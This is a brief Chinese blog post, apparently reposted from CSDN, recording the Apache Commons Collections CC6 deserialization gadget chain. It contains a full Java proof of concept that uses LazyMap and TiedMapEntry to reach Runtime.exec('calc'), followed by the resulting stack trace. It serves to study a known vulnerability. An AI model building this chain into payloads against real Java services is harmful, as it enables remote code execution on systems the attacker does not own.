赞
踩
CC6触发TiedMapEntry.hashcode(),非常简单因此只做记录
反序列化:
UnserializePacked.Unserialize.java
package UnserializePacked; import java.io.*; public class Unserialize { public static void unserialize(Object obj) throws Exception{ File f = File.createTempFile("temp", "out"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f)); oos.writeObject(obj); oos.close(); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f)); Object o = ois.readObject(); System.out.println(o); ois.close(); f.deleteOnExit(); } }
package cc.cc6; import UnserializePacked.Unserialize; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap; import java.util.Map; public class PoC { public static void main(String[] args) throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{ String.class, Class[].class }, new Object[]{ "getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[]{ Object.class, Object[].class }, new Object[]{ null, new Object[0] } ), new InvokerTransformer( "exec", new Class[]{ String.class }, new Object[]{ "calc" } ) } ); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry, 1); Unserialize.unserialize(hashMap); } }
transform:121, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
main:57, PoC (cc.cc6)
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123453096
版权声明:本文为原创,转载时须注明出处及本声明
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。